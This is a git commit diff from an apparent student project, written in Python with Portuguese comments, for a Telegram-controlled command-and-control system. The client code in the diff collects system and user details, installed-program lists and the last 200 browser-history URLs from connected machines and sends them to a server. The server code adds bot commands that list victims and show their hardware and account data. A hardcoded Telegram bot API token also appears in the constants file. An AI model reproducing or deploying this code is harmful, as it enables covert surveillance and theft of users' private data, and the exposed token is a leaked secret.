Week 17, Update 03

This commit is contained in:
Sidney PEPO (aka sysb1n) 2024-01-05 19:06:12 -03:00
parent fe6ce4e571
commit 4c4b151533
Signed by: sidneypepo
GPG Key ID: A188DCCE6CD96D52
4 changed files with 283 additions and 53 deletions

View File

@ -41,6 +41,13 @@ def realizar_conexao():
if (status_conexao != 0):
server_sock.close()
return
# Enviando informações do cliente
try:
server_sock.send(funcoes.obter_informacoes().encode(CHARSET))
except:
return
print("Conexão estabelecida com o servidor!")
while (continuar):
@ -51,6 +58,7 @@ def realizar_conexao():
parar_cliente()
continue
except:
print("Conexão perdida com o servidor!")
break
# Se o tamanho da mensagem recebida for menor que 1,
@ -62,6 +70,8 @@ def realizar_conexao():
# Analisando mensagem do servidor e preparando resposta
if (mensagem_recebida == "alive?"):
mensagem_retorno = "alive!".encode(CHARSET)
elif ("./c2 -p" in mensagem_recebida):
mensagem_retorno = funcoes.obter_programas().encode(CHARSET)
elif ("./c2 -b" in mensagem_recebida):
mensagem_retorno = funcoes.obter_historico().encode(CHARSET)
elif ("./c2 -q" in mensagem_recebida):

View File

@ -23,12 +23,13 @@ import os
# Armazenando caminho completo do diretório desse programa para
# funções que leem ou escrevem arquivos, token do bot
# (@progredes_c2_bot) e endereço da API do Telegram, informações
# de socket do servidor, tempo entre operações, codificação de
# caracteres e opções do bot
# (@progredes_c2_bot) e endereço da API do Telegram, tipo de
# sistema operacional, informações de socket do servidor, tempo
# entre operações, codificação de caracteres e opções do bot
DIRETORIO_ATUAL = os.path.dirname(os.path.abspath(__file__))
API_TOKEN = "6415239744:AAFAmiRsi_ZEa5OLuW1jny-pyBmYyu2GYZM"
TELEGRAM_API = f"https://api.telegram.org/bot{API_TOKEN}"
OS = os.name
SOCKET_SERVIDOR = ("localhost", 50000)
TIMEOUT = 10
TAMANHO_BUFFER = 512

View File

@ -20,7 +20,17 @@
# Importando bibliotecas
from constantes import *
import os, socket, json, browser_history
import os, socket, json, browser_history, time
if (OS == "nt"):
import winreg
CHAVES_WINDOWS = (
winreg.HKEY_LOCAL_MACHINE,
winreg.HKEY_CURRENT_USER
)
CAMINHOS_CHAVES = (
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
)
# Função para remover um arquivo no diretório local do programa
def remover_arquivo(nome_arquivo: str):
@ -59,10 +69,207 @@ def ehinteiro(numero: str):
# Retorna False, casoa string não seja um número inteiro
return False
# Função para obter total de ram de um cliente Windows
def obter_ram():
ram = 0
for linha in os.popen("wmic memorychip get capacity | findstr /i /v \"capacity\"").readlines():
if (linha != '\n'):
ram += int(linha.strip())
return ram
# Função para retornar as informações de um cliente
def obter_informacoes():
retorno = ''
if (OS == "nt"):
retorno += os.popen("wmic cpu get name | findstr /i /v \"name\"").readlines()[0]
retorno += f"{os.cpu_count()}\n"
retorno += f"{obter_ram() / (1024 * 1024)} MiB\n"
retorno += os.popen("wmic diskdrive get size | findstr /i /v \"size\"").readlines()[0]
so = os.popen("systeminfo | findstr /i /c:\"os name\"").readlines()[0].split(':')[1].strip()
retorno += f"{so}\n"
retorno += f"{os.getlogin()}\n"
retorno += f"{os.path.expanduser('~')}\n"
retorno += "Informação desconhecida!\n"
retorno += "Informação desconhecida!\n"
retorno += "Informação desconhecida!\n"
retorno += "Informação desconhecida!\n"
retorno += f"{socket.gethostname()}"
else:
retorno += os.popen("uname -p").readlines()[0]
retorno += f"{os.cpu_count()}\n"
ram = int(os.popen("cat /proc/meminfo | grep -i \"memtotal:\"").readlines()[0].split(':')[1].strip().split()[0])
retorno += f"{ram / 1024:.2f} MiB\n"
disco = os.popen("df -h --output=size / | grep -iv \"size\"").readlines()[0].strip()
retorno += f"{disco[:-1]} {disco[-1]}iB\n"
retorno += os.popen("cat /etc/os-release | grep -i \"pretty_name\" | cut -d '=' -f 2 | tr -d '\"'").readlines()[0]
retorno += f"{os.getlogin()}\n"
retorno += f"{os.path.expanduser('~')}\n"
retorno += os.popen("id -u").readlines()[0]
retorno += os.popen("id -ng").readlines()[0]
retorno += os.popen("id -nG").readlines()[0]
retorno += os.popen("printf \"%s\\n\" ${SHELL}").readlines()[0]
retorno += f"{socket.gethostname()}"
return retorno
# Função para retornar os clientes online
def obter_clientes(clientes: list):
retorno = "ID | IP e porta | Nome do host | Usuário logado | Tempo online\n"
identificador = 0
for cliente in clientes:
identificador += 1
socket = cliente[2]["socket"]
nome_host = cliente[2]["nome_host"]
nome_usuario = cliente[2]["usuario"]
diferenca_tempo = time.time() - cliente[2]["momento_conexao"]
horas = int(diferenca_tempo // (60 * 60))
minutos = int((diferenca_tempo % (60 * 60)) // 60)
segundos = int(diferenca_tempo % 60)
tempo_online = f"{horas:02d}:{minutos:02d}:{segundos:02d}"
retorno += f"{identificador} | {socket} | {nome_host} | {nome_usuario} | {tempo_online}\n"
return retorno
# Função para retornar informações de hardware de um cliente
def obter_hardware(clientes: list, index: int):
nome_cpu = clientes[index][2]["nome_cpu"]
nucleos_cpu = clientes[index][2]["nucleos_cpu"]
ram = clientes[index][2]["ram"]
disco = clientes[index][2]["disco"]
so = clientes[index][2]["so"]
retorno = ''
retorno += f"Socket (processador): {nome_cpu}\n"
retorno += f"Threads (processadores lógicos): {nucleos_cpu}\n"
retorno += f"Memória RAM (tamanho total): {ram}\n"
retorno += f"Disco (tamanho total): {disco}\n"
retorno += f"Sistema Operacional: {so}\n"
return retorno
# Função para retornar informações do usuário logado de um cliente
def obter_usuario(clientes: list, index: int):
usuario = clientes[index][2]["usuario"]
home = clientes[index][2]["home"]
uid = clientes[index][2]["uid"]
grupo_principal = clientes[index][2]["grupo_principal"]
grupos = clientes[index][2]["grupos"]
shell = clientes[index][2]["shell"]
retorno = ''
retorno += f"Usuário: {usuario}\n"
retorno += f"Diretório home: {home}\n"
retorno += f"UID (ID de usuário): {uid}\n"
retorno += f"Grupo principal: {grupo_principal}\n"
retorno += f"Grupos secundários: {grupos}\n"
retorno += f"Shell: {shell}\n"
return retorno
# Função para ler o conteúdo de uma chave do registro do Windows
def ler_chave(registro_chave, modo_leitura: int):
# Armazenando função de enumeração com base no modo de leitura
if (modo_leitura == 1):
funcao = winreg.EnumKey
elif (modo_leitura == 2):
funcao = winreg.EnumValue
# Lendo todo o conteúdo da chave
index = 0
chaves = []
while (True):
try:
chaves.append(funcao(registro_chave, index))
index += 1
except:
break
return chaves
# Função para ler registro de um cliente Windows
def ler_registro(diretorio_chave, caminho_chave):
# Abrindo registro e chave do mesmo
registro = winreg.ConnectRegistry(None, diretorio_chave)
chave_registro = winreg.OpenKey(registro, caminho_chave)
# Enumerando subchaves
chaves = []
for nome_subchave in ler_chave(chave_registro, 1):
subchave = winreg.OpenKey(registro, f"{caminho_chave}\\{nome_subchave}")
valores = {}
# Enumerando valores da subchave
for valor_subchave in ler_chave(subchave, 2):
valores[valor_subchave[0]] = valor_subchave[1]
chaves.append(valores)
return chaves
# Função para retornar a lista de programas instalados em um
# cliente Windows
def programas_windows():
programas = []
for programa in ler_registro(CHAVES_WINDOWS[0], CAMINHOS_CHAVES[0]) + ler_registro(CHAVES_WINDOWS[0], CAMINHOS_CHAVES[1]) + ler_registro(CHAVES_WINDOWS[1], CAMINHOS_CHAVES[1]):
if ("DisplayName" in programa):
programas.append(programa["DisplayName"])
return sorted(programas)
# Função para retornar a lista de programas instalados em um
# cliente Linux
def programas_linux():
# Baseados em Debian
programas = os.popen("apt list 2> /dev/null").readlines()[1:]
if (len(programas) > 2):
return programas
# Baseados em RedHat
programas = os.popen("dnf repoquery --qf \"%{name}.%{arch} %{version}.%{release} %{from_repo}\" --installed 2> /dev/null").readlines()
if (len(programas) > 2):
return programas
# Baseados em Arch
programas = os.popen("pacman -Q 2> /dev/null").readlines()
if (len(programas) > 2):
return programas
# Baseados em Gentoo
programas = os.popen("ls -d /var/db/pkg/*/* | cut -d '/' -f 5- 2> /dev/null").readlines()
if (len(programas) > 2):
return programas
return ["Não foi possível obter lista de programas instalados!\n"]
# Função para formatar a lista de programas instalados em um
# cliente
def formatar_lista_programas(programas: list):
retorno = ''
for programa in programas:
retorno += f"{programa.strip()}\n"
return retorno
# Função para retornar os programas instalads em um cliente
def obter_programas():
if (OS == "nt"):
retorno = formatar_lista_programas(programas_windows())
else:
retorno = formatar_lista_programas(programas_linux())
return retorno
# Função para retornar o histórico de navegação de um cliente
def obter_historico():
historico = json.loads(browser_history.get_history().to_json())["history"]
if (len(historico) > 200):
historico = historico[-200:]
retorno = ''
for index in historico:
retorno += index["URL"] + '\n'

View File

@ -36,6 +36,26 @@ def cliente_existe_livre(index: int):
return False
# Função para receber dados de um cliente
def receber_dados(index):
# Recebendo dados até que o buffer recebido seja menor que o
# tamanho máximo de buffer
retorno = ''
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
while (not len(dados) < TAMANHO_BUFFER):
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
return ''
retorno += dados
return retorno
# Função para testar se um cliente, identificado pelo seu índice,
# está online
def cliente_online(index: int):
@ -54,27 +74,15 @@ def cliente_online(index: int):
try:
clientes[index][0][0].send("alive?".encode(CHARSET))
except:
clientes[index][1].release()
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Tentando obter resposta do cliente e, em caso de exceção,
# destrava-se as transmissões do cliente, finaliza-se o socket do
# cliente, remove-se o mesmo da lista de clientes e retorna-se o
# índice
try:
resposta = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
clientes.pop(index)
return index
# Se o tamanho da resposta do cliente for menor que 1, finaliza-se
# o socket do cliente, remove-se o mesmo da lista de clientes e
# retorna-se o índice
# Obtendo resposta do cliente e , se o tamanho da resposta do
# cliente for menor que 1, finaliza-se o socket do cliente,
# remove-se o mesmo da lista de clientes e retorna-se o índice
resposta = receber_dados(index)
if (len(resposta) < 1):
print(f"Cliente {clientes[index][0][1]} desconectado!")
clientes[index][0][0].close()
@ -147,10 +155,32 @@ def gerenciar_servidor():
clientes.append([server_sock.accept(), threading.Lock()])
except:
continue
# Obtendo e armazenando informações do cliente recém-conectado
clientes[-1][1].acquire()
informacoes = receber_dados(-1).split('\n')
if (len(informacoes) < 2):
clientes[-1][0][0].close()
clientes.pop(-1)
continue
clientes[-1].append({
"momento_conexao": time.time(),
"ultima_verificacao": 0
"ultima_verificacao": 0,
"socket": f"{clientes[-1][0][1][0]}:{clientes[-1][0][1][1]}",
"nome_cpu": informacoes[0],
"nucleos_cpu": informacoes[1],
"ram": informacoes[2],
"disco": informacoes[3],
"so": informacoes[4],
"usuario": informacoes[5],
"home": informacoes[6],
"uid": informacoes[7],
"grupo_principal": informacoes[8],
"grupos": informacoes[9],
"shell": informacoes[10],
"nome_host": informacoes[11]
})
clientes[-1][1].release()
print(f"Cliente {clientes[-1][0][1]} conectado!")
@ -172,6 +202,8 @@ def aguardar_verificacao(index: int):
# Função para responder mensagem informando desconexão de cliente
# e finalizar o socket do mesmo
def informar_desconectado(index: int, retorno: dict):
global clientes
retorno["text"] = f"Cliente {clientes[index][0][1]} desconectado!"
requisicoes.responder_mensagem(retorno)
print(f"Cliente {clientes[index][0][1]} desconectado!")
@ -180,26 +212,6 @@ def informar_desconectado(index: int, retorno: dict):
return
# Função para receber dados de um cliente
def receber_dados(index):
# Recebendo dados até que o buffer recebido seja menor que o
# tamanho máximo de buffer
retorno = ''
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
raise Exception()
retorno += dados
while (not len(dados) < TAMANHO_BUFFER):
try:
dados = clientes[index][0][0].recv(TAMANHO_BUFFER).decode(CHARSET)
except:
raise Exception()
retorno += dados
return retorno
def main():
# Armazenando, globalmente, variável de continuidade da execução
# do servidor e lista de clientes
@ -274,7 +286,7 @@ def main():
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-l"):
retorno["text"] = "./c2 -l"
retorno["text"] = funcoes.obter_clientes(clientes)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-s"):
@ -306,6 +318,14 @@ def main():
Digite `./c2 -l` para obter a lista de IDs disponíveis"""
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-d"):
retorno["text"] = funcoes.obter_hardware(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-u"):
retorno["text"] = funcoes.obter_usuario(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
# Testando se o cliente está disponível para receber mensagem e,
# se o mesmo deixar de existir, informa-se desconexão do mesmo
@ -324,17 +344,9 @@ Digite `./c2 -l` para obter a lista de IDs disponíveis"""
informar_desconectado(index, retorno)
continue
# Tentando receber mensagem do cliente e, em caso de exceção,
# destrava-se as transmissões para o mesmo e informa-se desconexão
# do mesmo
try:
retorno["text"] = receber_dados(index)
except:
informar_desconectado(index, retorno)
continue
# Se o tamanho da resposta for menor que 1, informa-se desconexão
# do cliente
# Obtendo resposta do cliente e, se o tamanho da resposta for
# menor que 1, informa-se desconexão do cliente
retorno["text"] = receber_dados(index)
if (len(retorno["text"]) < 1):
informar_desconectado(index, retorno)
continue